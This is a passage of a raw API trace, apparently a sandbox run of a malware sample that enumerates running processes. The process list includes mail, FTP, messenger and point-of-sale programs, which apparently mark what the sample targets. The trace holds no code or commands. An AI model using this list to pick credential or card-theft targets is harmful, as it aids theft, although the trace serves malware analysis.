pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0259.186] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0259.189] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0259.193] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0259.195] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0259.198] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0259.201] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0259.203] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0259.206] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0259.209] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0259.212] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0259.216] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0259.219] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0259.222] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0259.225] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0259.227] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0259.230] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0259.233] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0259.271] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0259.274] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0259.277] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0259.280] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0259.283] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0259.285] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0259.288] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0259.291] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0259.294] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0259.297] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0259.299] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0259.302] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0259.305] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0259.308] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0259.310] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0259.313] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0259.316] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0259.318] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0259.321] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.323] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0259.326] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0259.329] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0259.332] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0259.334] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0259.338] CloseHandle (hObject=0x2200) returned 1 [0259.338] Sleep (dwMilliseconds=0x64) [0259.355] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0259.396] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.399] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.401] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.445] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.447] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.449] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.451] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.453] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.455] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.457] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.459] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.539] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.541] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.544] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.546] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.548] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.550] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.553] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.555] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.559] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.562] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0259.564] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.566] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.569] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0259.572] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0259.574] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0259.577] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0259.579] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0259.581] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0259.584] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0259.587] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.589] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.591] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0259.594] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0259.596] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.599] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0259.601] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0259.604] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0259.606] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0259.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0259.611] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0259.613] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0259.616] Process32Next (in: hSnapshot=0x2200, 